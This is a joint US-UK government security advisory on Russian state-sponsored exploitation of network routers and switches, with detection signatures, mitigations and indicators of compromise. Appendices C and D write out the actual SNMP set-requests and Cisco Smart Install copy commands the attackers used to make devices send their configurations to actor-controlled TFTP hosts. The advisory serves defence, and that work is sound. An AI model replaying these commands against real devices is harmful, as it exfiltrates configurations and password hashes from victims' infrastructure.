TLP:WHITE



# Alert (TA18-106A)

More Alerts

## Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices

Original release date: April 16, 2018 | Last revised: April 20, 2018

### Systems Affected

- Generic Routing Encapsulation (GRE) Enabled Devices
- Cisco Smart Install (SMI) Enabled Devices
- Simple Network Management Protocol (SNMP) Enabled Network Devices

### Overview

**Update:** On April 19, 2018, an industry partner notified NCCIC and the FBI of malicious cyber activity that aligns with the techniques, tactics, and procedures (TTPs) and network indicators listed in this Alert. Specifically, the industry partner reported the actors redirected DNS queries to their own infrastructure by creating GRE tunnels and obtained sensitive information, which include the configuration files of networked devices.

NCCIC encourages organizations to use the detection and prevention guidelines outlined in this Alert to help defend against this activity. For instance, administrators should inspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in log files.

**Original Post:** This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the United Kingdom's National Cyber Security Centre (NCSC). This TA provides information on the worldwide cyber exploitation of network infrastructure devices (e.g., router, switch, firewall, Network-based Intrusion Detection System (NIDS) devices) by Russian state-sponsored cyber actors. Targets are primarily government and private-sector organizations, critical infrastructure providers, and the Internet service providers (ISPs) supporting these sectors. This report contains technical details on the tactics, techniques, and procedures (TTPs) used by Russian state-sponsored cyber actors to compromise victims. Victims were identified through a coordinated series of actions between U.S. and international partners. This report builds on previous DHS reporting and advisories from the United Kingdom, Australia, and the European Union. [1-5] This report contains indicators of compromise (IOCs) and contextual information regarding observed behaviors on the networks of compromised victims. FBI has high confidence that Russian state-sponsored cyber actors are using compromised routers to conduct man-in-the-middle attacks to support espionage, extract intellectual property, maintain persistent access to victim networks, and potentially lay a foundation for future offensive operations.

DHS, FBI, and NCSC urge readers to act on past alerts and advisories issued by the U.S. and U.K. Governments, allied governments, network device manufacturers, and private-sector security organizations. Elements from these alerts and advisories have been selected and disseminated in a wide variety of security news outlets and social media platforms. The current state of U.S. network devices—coupled with a Russian government campaign to exploit these devices—threatens the safety, security, and economic well-being of the United States.

TLP:WHITE

The purpose of this TA is to inform network device vendors, ISPs, public-sector organizations, private-sector corporations, and small office home office (SOHO) customers about the Russian government campaign, provide information to identify malicious activity, and reduce exposure to this activity.

For a downloadable copy of the IOC package, see TA18-106A_TLP_WHITE.stix.xml.

## Description

Since 2015, the U.S. Government received information from multiple sources—including private and public sector cybersecurity research organizations and allies—that cyber actors are exploiting large numbers of enterprise-class and SOHO/residential routers and switches worldwide. The U.S. Government assesses that cyber actors supported by the Russian government carried out this worldwide campaign. These operations enable espionage and intellectual property theft that supports the Russian Federation's national security and economic goals.

### Legacy Protocols and Poor Security Practice

Russian cyber actors leverage a number of legacy or weak protocols and service ports associated with network administration activities. Cyber actors use these weaknesses to

- identify vulnerable devices;
- extract device configurations;
- map internal network architectures;
- harvest login credentials;
- masquerade as privileged users;
- modify
  - device firmware,
  - operating systems,
  - configurations; and
- copy or redirect victim traffic through Russian cyber-actor-controlled infrastructure.

Additionally, Russian cyber actors could potentially modify or deny traffic traversing through the router.

Russian cyber actors do not need to leverage zero-day vulnerabilities or install malware to exploit these devices. Instead, cyber actors take advantage of the following vulnerabilities:

- devices with legacy unencrypted protocols or unauthenticated services,
- devices insufficiently hardened before installation, and
- devices no longer supported with security patches by manufacturers or vendors (end-of-life devices).

These factors allow for both intermittent and persistent access to both intellectual property and U.S. critical infrastructure that supports the health and safety of the U.S. population.

### Own the Router, Own the Traffic

Network devices are ideal targets. Most or all organizational and customer traffic must traverse these critical devices. A malicious actor with presence on an organization's gateway router has the ability to monitor, modify, and deny traffic to and from the organization. A malicious actor with presence on an organization's internal routing and switching infrastructure can monitor, modify, and deny traffic to and from key hosts inside the network and leverage trust relationships to conduct lateral movement to other hosts. Organizations that use legacy, unencrypted protocols to manage hosts and services, make successful credential harvesting easy for these actors. An actor controlling a router between Industrial Control Systems – Supervisory Control and Data Acquisition (ICS-SCADA) sensors and controllers in a critical infrastructure—such as the Energy Sector—can manipulate the messages, creating dangerous configurations that could lead to loss of service or physical destruction. Whoever controls the routing infrastructure of a network essentially controls the data flowing through the network.

### Network Devices—Often Easy Targets

- Network devices are often easy targets. Once installed, many network devices are not maintained at the same security level as other general-purpose desktops and servers. The following factors can also contribute to the vulnerability of network devices:
- Few network devices—especially SOHO and residential-class routers—run antivirus, integrity-maintenance, and other security tools that help protect general purpose hosts.

- Manufacturers build and distribute these network devices with exploitable services, which are enabled for ease of installation, operation, and maintenance.
- Owners and operators of network devices do not change vendor default settings, harden them for operations, or perform regular patching.
- ISPs do not replace equipment on a customer's property when that equipment is no longer supported by the manufacturer or vendor.
- Owners and operators often overlook network devices when they investigate, examine for intruders, and restore general-purpose hosts after cyber intrusions.

## Impact

### Stage 1: Reconnaissance

Russian state-sponsored cyber actors have conducted both broad-scale and targeted scanning of Internet address spaces. Such scanning allows these actors to identify enabled Internet-facing ports and services, conduct device fingerprinting, and discover vulnerable network infrastructure devices. Protocols targeted in this scanning include

- Telnet (typically Transmission Control Protocol (TCP) port 23, but traffic can be directed to a wide range of TCP ports such as 80, 8080, etc.),
- Hypertext Transport Protocol (HTTP, port 80),
- Simple Network Management Protocol (SNMP, ports 161/162), and
- Cisco Smart Install (SMI port 4786).

Login banners and other data collected from enabled services can reveal the make and model of the device and information about the organization for future engagement.

Device configuration files extracted in previous operations can enhance the reconnaissance effort and allow these actors to refine their methodology.

### Stage 2: Weaponization and Stage 3: Delivery

Commercial and government security organizations have identified specially crafted SNMP and SMI packets that trigger the scanned device to send its configuration file to a cyber-actor-controlled host via Trivial File Transfer Protocol (TFTP), User Datagram Protocol (UDP) port 69. [6-8] If the targeted network is blocking external SNMP at the network boundary, cyber actors spoof the source address of the SNMP UDP datagram as coming from inside the targeted network. The design of SMI (directors and clients) requires the director and clients to be on the same network. However, since SMI is an unauthenticated protocol, the source address for SMI is also susceptible to spoofing.

The configuration file contains a significant amount of information about the scanned device, including password hash values. These values allow cyber actors to derive legitimate credentials. The configuration file also contains SNMP community strings and other network information that allows the cyber actors to build network maps and facilitate future targeted exploitation.

### Stage 4: Exploitation

Legitimate user masquerade is the primary method by which these cyber actors exploit targeted network devices. In some cases, the actors use brute-force attacks to obtain Telnet and SSH login credentials. However, for the most part, cyber actors are able to easily obtain legitimate credentials, which they then use to access routers. Organizations that permit default or commonly used passwords, have weak password policies, or permit passwords that can be derived from credential-harvesting activities, allow cyber actors to easily guess or access legitimate user credentials. Cyber actors can also access legitimate credentials by extracting password hash values from configurations sent by owners and operators across the Internet or by SNMP and SMI scanning.

Armed with the legitimate credentials, cyber actors can authenticate into the device as a privileged user via remote management services such as Telnet, SSH, or the web management interface.

### Stage 5: Installation

SMI is an unauthenticated management protocol developed by Cisco. This protocol supports a feature that allows network administrators to download or overwrite any file on any Cisco router or switch that supports this feature. This feature is designed to enable network administrators to remotely install and configure new devices and install new OS files.

On November 18, 2016, a Smart Install Exploitation Tool (SIET) was posted to the Internet. The SIET takes advantage of the unauthenticated SMI design. Commercial and government security organizations have noted that Russian state-sponsored cyber actors have leveraged the SIET to abuse SMI to download current configuration files. Of concern, any actor may leverage this capability to overwrite files to modify the device configurations, or upload maliciously modified OS or firmware to enable persistence. Additionally, these network devices have writeable file structures where malware for other platforms may be stored to support lateral movement throughout the targeted network.

#### Stage 6: Command and Control

Cyber actors masquerade as legitimate users to log into a device or establish a connection via a previously uploaded OS image with a backdoor. Once successfully logged into the device, cyber actors execute privileged commands. These cyber actors create a man-in-the-middle scenario that allows them to

- extract additional configuration information,
- export the OS image file to an externally located cyber actor-controlled FTP server,
- modify device configurations,
- create Generic Routing Encapsulation (GRE) tunnels, or
- mirror or redirect network traffic through other network infrastructure they control.

At this stage, cyber actors are not restricted from modifying or denying traffic to and from the victim. Although there are no reports of this activity, it is technically possible.

## Solution

#### Telnet

Review network device logs and netflow data for indications of TCP Telnet-protocol traffic directed at port 23 on all network device hosts. Although Telnet may be directed at other ports (e.g., port 80, HTTP), port 23 is the primary target. Inspect any indication of Telnet sessions (or attempts). Because Telnet is an unencrypted protocol, session traffic will reveal command line interface (CLI) command sequences appropriate for the make and model of the device. CLI strings may reveal login procedures, presentation of user credentials, commands to display boot or running configuration, copying files and creation or destruction of GRE tunnels, etc. See Appendices A and B for CLI strings for Cisco and other vendors' devices.

#### SNMP and TFTP

Review network device logs and netflow data for indications of UDP SNMP traffic directed at port 161/162 on all network-device hosts. Because SNMP is a management tool, any such traffic that is not from a trusted management host on an internal network should be investigated. Review the source address of SNMP traffic for indications of addresses that spoof the address space of the network. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound or spoofed SNMP closely followed by outbound TFTP should be cause for alarm and further inspection. See Appendix C for detection of the cyber actors' SNMP tactics.

Because TFTP is an unencrypted protocol, session traffic will reveal strings associated with configuration data appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendor's devices.

#### SMI and TFTP

Review network device logs and netflow data for indications of TCP SMI protocol traffic directed at port 4786 of all network-device hosts. Because SMI is a management feature, any traffic that is not from a trusted management host on an internal network should be investigated. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound SMI closely followed by outbound TFTP should be cause for alarm and further inspection. Of note, between June 29 and July 6, 2017, Russian actors used the SMI protocol to scan for vulnerable network devices. Two Russian cyber actors controlled hosts 91.207.57.69(3) and 176.223.111.160(4), and connected to IPs on several network ranges on port 4786. See Appendix D for detection of the cyber actors' SMI tactics.

Because TFTP is an unencrypted protocol, session traffic will reveal strings appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendors' devices.

#### Determine if SMI is present

- Examine the output of "show vstack config | inc Role". The presence of "Role: Client (SmartInstall enabled)" indicates that Smart Install is configured.
- Examine the output of "show tcp brief all" and look for "*:4786". The SMI feature listens on tcp/4786.
- Note: The commands above will indicate whether the feature is enabled on the device but not whether a device has been compromised.

#### Detect use of SMI

The following signature may be used to detect SMI usage. Flag as suspicious and investigate SMI traffic arriving from outside the network boundary. If SMI is not used inside the network, any SMI traffic arriving on an internal interface should be flagged as suspicious and investigated for the existence of an unauthorized SMI director. If SMI is used inside the network, ensure that the traffic is coming from an authorized SMI director, and not from a bogus director.

- alert tcp any any -> any 4786 (msg:"Smart Install Protocol"; flow:established,only_stream; content:"|00 00 00 01 00 00 00 01|"; offset:0; depth:8; fast_pattern;)
- See Cisco recommendations for detecting and mitigating SMI. [9]

#### Detect use of SIET

The following signatures detect usage of the SIET's commands change_config, get_config, update_ios, and execute. These signatures are valid based on the SIET tool available as of early September 2017:

- alert tcp any any -> any 4786 (msg:"SmartInstallExploitationTool_UpdateIos_And_Execute"; flow:established; content:"|00 00 00 01 00 00 00 01 00 00 00 02 00 00 01 c4|"; offset:0; depth:16; fast_pattern; content://";)
- alert tcp any any -> any 4786 (msg:"SmartInstallExploitationTool_ChangeConfig"; flow:established; content:"|00 00 00 01 00 00 00 01 00 00 00 03 00 00 01 28|"; offset:0; depth:16; fast_pattern; content://";)
- alert tcp any any -> any 4786 (msg: "SmartInstallExploitationTool_GetConfig"; flow: established; content:"|00 00 00 01 00 00 00 01 00 00 00 08 00 00 04 08|"; offset:0; depth:16; fast_pattern; content:"copy|20|";)

In general, exploitation attempts with the SIET tool will likely arrive from outside the network boundary. However, before attempting to tune or limit the range of these signatures, i.e. with $EXTERNAL_NET or $HOME_NET, it is recommended that they be deployed with the source and destination address ranges set to "any". This will allow the possibility of detection of an attack from an unanticipated source, and may allow for coverage of devices outside of the normal scope of what may be defined as the $HOME_NET.

#### GRE Tunneling

Inspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in log files.

### Mitigation Strategies

There is a significant amount of publically available cybersecurity guidance and best practices from DHS, allied government, vendors, and the private-sector cybersecurity community on mitigation strategies for the exploitation vectors described above. The following are additional mitigations for network device manufacturers, ISPs, and owners or operators.

#### General Mitigations

All

- Do not allow unencrypted (i.e., plaintext) management protocols (e.g. Telnet) to enter an organization from the Internet. When encrypted protocols such as SSH, HTTPS, or TLS are not possible, management activities from outside the organization should be done

through an encrypted Virtual Private Network (VPN) where both ends are mutually authenticated.
- Do not allow Internet access to the management interface of any network device. The best practice is to block Internet-sourced access to the device management interface and restrict device management to an internal trusted and whitelisted host or LAN. If access to the management interface cannot be restricted to an internal trusted network, restrict remote management access via encrypted VPN capability where both ends are mutually authenticated. Whitelist the network or host from which the VPN connection is allowed, and deny all others.
- Disable legacy unencrypted protocols such as Telnet and SNMPv1 or v2c. Where possible, use modern encrypted protocols such as SSH and SNMPv3. Harden the encrypted protocols based on current best security practice. DHS strongly advises owners and operators to retire and replace legacy devices that cannot be configured to use SNMP V3.
- Immediately change default passwords and enforce a strong password policy. Do not reuse the same password across multiple devices. Each device should have a unique password. Where possible, avoid legacy password-based authentication, and implement two-factor authentication based on public-private keys. See NCCIC/US-CERT TA13-175A – Risks of Default Passwords on the Internet, last revised October 7, 2016.

Manufacturers

- Do not design products to support legacy or unencrypted protocols. If this is not possible, deliver the products with these legacy or unencrypted protocols disabled by default, and require the customer to enable the protocols after accepting an interactive risk warning. Additionally, restrict these protocols to accept connections only from private addresses (i.e., RFC 1918).
- Do not design products with unauthenticated services. If this is not possible, deliver the products with these unauthenticated services disabled by default, and require the customer to enable the services after accepting an interactive risk warning. Additionally, these unauthenticated services should be restricted to accept connections only from private address space (i.e., RFC 1918).
- Design installation procedures or scripts so that the customer is required to change all default passwords. Encourage the use of authentication services that do not depend on passwords, such as RSA-based Public Key Infrastructure (PKI) keys.
- Because YARA has become a security-industry standard way of describing rules for detecting malicious code on hosts, consider embedding YARA or a YARA-like capability to ingest and use YARA rules on routers, switches, and other network devices.

Security Vendors

- Produce and publish YARA rules for malware discovered on network devices.

ISPs

- Do not field equipment in the network core or to customer premises with legacy, unencrypted, or unauthenticated protocols and services. When purchasing equipment from vendors, include this requirement in purchase agreements.
- Disable legacy, unencrypted, or unauthenticated protocols and services. Use modern encrypted management protocols such as SSH. Harden the encrypted protocols based on current best security practices from the vendor.
- Initiate a plan to upgrade fielded equipment no longer supported by the vendor with software updates and security patches. The best practice is to field only supported equipment and replace legacy equipment prior to it falling into an unsupported state.
- Apply software updates and security patches to fielded equipment. When that is not possible, notify customers about software updates and security patches and provide timely instructions on how to apply them.

Owners or operators

- Specify in contracts that the ISP providing service will only field currently supported network equipment and will replace equipment when it falls into an unsupported state.
- Specify in contracts that the ISP will regularly apply software updates and security patches to fielded network equipment or will notify and provide the customers the ability to apply them.
- Block TFTP from leaving the organization destined for Internet-based hosts. Network devices should be configured to send configuration data to a secured host on a trusted segment of the internal management LAN.

- Verify that the firmware and OS on each network device are from a trusted source and issued by the manufacturer. To validate the integrity of network devices, refer to the vendor's guidance, tools, and processes. See Cisco's Security Center for guidance to validate Cisco IOS firmware images.
- Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). The indicators in Appendix A may be applicable to your device.

**Detailed Mitigations**

Refer to the vendor-specific guidance for the make and model of network device in operation.

**For information on mitigating SNMP vulnerabilities, see**

- NCCIC/US-CERT Alert TA17-156A – Reducing the Risk of SNMP Abuse, June 5, 2017, and
- NCCIC/US-CERT Alert TA16-250A – The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations, September 6, 2016 Updated September 28, 2016.

**How to Mitigate SMI Abuse**

- Configure network devices before installing onto a network exposed to the Internet. If SMI must be used during installation, disable SMI with the "no vstack" command before placing the device into operation.
- Prohibit remote devices attempting to cross a network boundary over TCP port 4786 via SMI.
- Prohibit outbound network traffic to external devices over UDP port 69 via TFTP.
- See Cisco recommendations for detecting and mitigating SMI. [10]
- Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). Check with your ISP and ensure that they have disabled SMI before or at the time of installation, or obtain instructions on how to disable it.

**How to Mitigate GRE Tunneling Abuse:**

- Verify that all routing tables configured in each border device are set to communicate with known and trusted infrastructure.
- Verify that any GRE tunnels established from border routers are legitimate and are configured to terminate at trusted endpoints.

## Definitions

**Operating System Fingerprinting** is analyzing characteristics of packets sent by a target, such as packet headers or listening ports, to identify the operating system in use on the target. [11]

**Spear phishing** is an attempt by an individual or group to solicit personal information from unsuspecting users by employing social engineering techniques. Phishing emails are crafted to appear as if they were sent from a legitimate organization or known individual. These emails often attempt to entice users to click on a link that will take the user to a fraudulent website that appears legitimate. The user then may be asked to provide personal information, such as account usernames and passwords, which can further expose them to future compromises. [12]

In a **watering hole attack**, the attacker compromises a site likely to be visited by a particular target group, rather than attacking the target group directly. [13]

## Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to NCCIC or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at NCCICcustomerservice@hq.dhs.gov or 888-282-0870 and the FBI through a local field office or the FBI's Cyber Division at CyWatch@fbi.gov or 855-292-3937. To request information from or report cyber incidents to UK authorities, contact NCSC at www.ncsc.gov.uk/contact.

# Appendix A: Cisco Related Command and Configuration Strings

### Command Strings.

Commands associated with Cisco IOS. These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls, or in the logs of network devices. Network device owners and operators should review the Cisco documentation of their particular makes and models for strings that would allow the owner or operator to customize the list for an Intrusion Detection System (IDS). Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.

Strings:

```
'sh arp'
'sho arp'
'show arp'
'sh bgp sum'
'sho bgp sum'
'show bgp sum'
'sh cdp'
'sho cdp'
'show cdp'
'sh con'
'sho con'
'show con'
'sh ip route'
'sho ip route'
'show ip route'
'sh inv'
'sho inv'
'show inv'
'sh int'
'sho int'
'show int'
'sh nat trans'
'sho nat trans'
'show nat trans'
'sh run'
'sho run'
'show run'
'sh ver'
'sho ver'
'show ver'
'sh isis'
'sho isis'
'show isis'
'sh rom-monitor'
'sho rom-monitor'
'show rom-monitor'
'sh startup-config'
'sho startup-config'
'show startup-config'
'sh boot'
'sho boot'
'show boot'
'enable'
'enable secret'
```

### Configuration Strings.

Strings associated with Cisco IOS configurations may be seen in the outbound network traffic of unencrypted management tools such as Telnet, HTTP, or TFTP. This is a subset of the possible strings. Network device owners and operators should export the configuration of their particular makes and models to a secure host and examine it for strings that would allow the owner or operator to customize the list for an IDS. Detecting outbound configuration data leaving an organization destined for Internet-based hosts should be a cause for concern and further investigation to ensure the destination is authorized to receive the configuration data. Because configuration data provides an adversary with information—such as the password hashes—to enable future attacks, configuration data should be encrypted between sender and receiver. Outbound configuration files may be triggered by SNMP queries and Cisco Smart Install commands. In such cases, the outbound file would be sent via TFTP. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.

Strings:

```
aaa new-model
advertisement version
BGP router identifier
boot system flash:
Building configuration?
Cisco Internetwork Operating System
Cisco IOS Software,
Configuration register
www.cisco.com/techsupport
Codes C ? connected, S ? static
configuration memory
Current configuration :
boot-start-marker
! Last configuration change at
! NVRAM config last updated at
interface VLAN
interface FastEthernet
interface GigabitEthernet
interface pos
line protocol is
loopback not set
ip access-list extended
nameif outside
Routing Bit Set on this LSA
route source
router bgp
router ospf
routing table
ROM: Bootstrap program is
snmp-server
system bootstrap
System image file is
PIX VERSION
ASA VERSION
(ASA)
boot-start-marker
boot system flash
boot end-marker
BOOT path-list
```

## Appendix B: Other Vendor Command and Configuration Strings

Russian state-sponsored cyber actors could potentially target the network devices from other manufacturers. Therefore, operators and owners should review the documentation associated with the make and model they have in operation to identify strings associated with administrative functions. Export the current configuration and identify strings associated with the configuration. Place the device-specific administrative and configuration strings into network-based and host-based IDS. Examples for Juniper JUNOS may include: “enable”, ”reload”, ”show”, ”set”, ”unset” ”file copy”, or ”request system scripts” followed by other expected parameters. Examples for MicroTic may include: “ip”, ”interface”, ”firewall”, ”password”, or ”ping”. See the documentation for your make and model for specific strings and parameters to place on watch.

These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls or network devices. Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.

The following are important functions to monitor:

- login
- displaying or exporting the current configuration
- copying files from the device to another host, especially a host outside the LAN or one not previously authorized
- copying files to the device from another host, especially a host outside the LAN or one not previously authorized
- changes to the configuration
- creation or destruction of GRE tunnels

## Appendix C: SNMP Queries

- SNMP query containing any of the following from an external host
  - show run
  - show ip arp
  - show version
  - show ip route
  - show neighbor detail
  - show interface
- SNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “80.255.3.85”
- SNMP and Cisco's "config copy" management information base (MIB) object identifiers (OIDs) Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “87.120.41.3” and community strings of ”public” ”private” or ”anonymous”

| OID Name | OID Value | Meaning |
|---|---|---|
| 1.3.6.1.4.1.9.9.96.1.1.1.1.2 | 1 | Protocol type = TFTP |
| 1.3.6.1.4.1.9.9.96.1.1.1.1.3 | 1 | Source file type = network file |
| 1.3.6.1.4.1.9.9.96.1.1.1.1.4 | 4 | Destination file type = running config |
| 1.3.6.1.4.1.9.9.96.1.1.1.1.5 | 87.120.41.3 | TFTP server IP = 87.120.41.3 |
| 1.3.6.1.4.1.9.9.96.1.1.1.1.6 | backup | File name = backup |
| 1.3.6.1.4.1.9.9.96.1.1.1.1.14 | 4 | Activate the status of the table entry |

- SNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter 80.255.3.85
- SNMP v2c and v1 set-requests with the OID 1.3.6.1.4.1.9.2.1.55 with the TFTP server IP parameter “87.120.41.3”, using community strings “private” and “anonymous”
- The OID 1.3.6.1.4.1.9.2.1.55.87.120.41.3 is a request to transfer a copy of a router's configuration to the IP address specified in the last four octets of the OID, in this case 87.120.41.3.
- Since late July 2016, 87.120.41.3 has been scanning thousands of IPs worldwide using SNMP.
- Between November 21 and 22, 2016, Russian cyber actors attempted to scan using SNMP version 2 Object Identifier (OID) 1.3.6.1.4.9.9.96.1.1.1.1.5 with a value of 87.120.41.3 and a community string of “public”. This command would cause vulnerable devices to exfiltrate configuration data to a specified IP address over TFTP; in this case, IP address 87.120.41.3.
- SNMP, TFTP, HTTP, Telnet, or SSH traffic to or from the following IPs
  - 210.245.123.180

## Appendix D: SMI Queries

Between June 29 and July 6, 2017, Russian actors used the Cisco Smart Install protocol to scan for vulnerable network devices. Two Russian cyber actor-controlled hosts, 91.207.57.69(3) and 176.223.111.160(4), connected to IPs on several network ranges on port 4786 and sent the following two commands:

- copy nvram:startup-config flash:/config.text
- copy nvram:startup-config tftp://[actor address]/[actor filename].conf

In early July 2017, the commands sent to targets changed slightly, copying the running configuration file instead of the startup configuration file. Additionally, the second command copies the file saved to flash memory instead of directly copying the configuration file.

- copy system:running-config flash:/config.text
- copy flash:/config.text tftp://[ actor address]/[actor filename].conf

## References

[1] The Increasing Threat to Network Infrastructure Devices and Recommended Mit…
[2] Cisco Smart Install Protocol Issues. CERT-EU. Advisory 2017-003. February 2…
[3] Internet Edge Device Security. United Kingdom. National Cyber Security Cent…
[4] UK Internet Edge Router Devices: Advisory. United Kingdom. National Cyber S…
[5] Routers Targeted. Australian Cyber Security Centre. August 16, 2017.
[6] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated Octo…
[7] Routers Targeted. Australian Cyber Security Centre. August 16, 2017.
[8] Cisco Smart Install Protocol Misuse. NSA, IAD. August 7, 2017.
[9] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated Octo…
[10] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated Oct…
[11] NIST CSRC.
[12] US-CERT. Report Phishing.
[13] CNSSI 4009-2015.

## Revisions

April 16, 2018: Initial Version
April 19, 2018: Added third-party reporting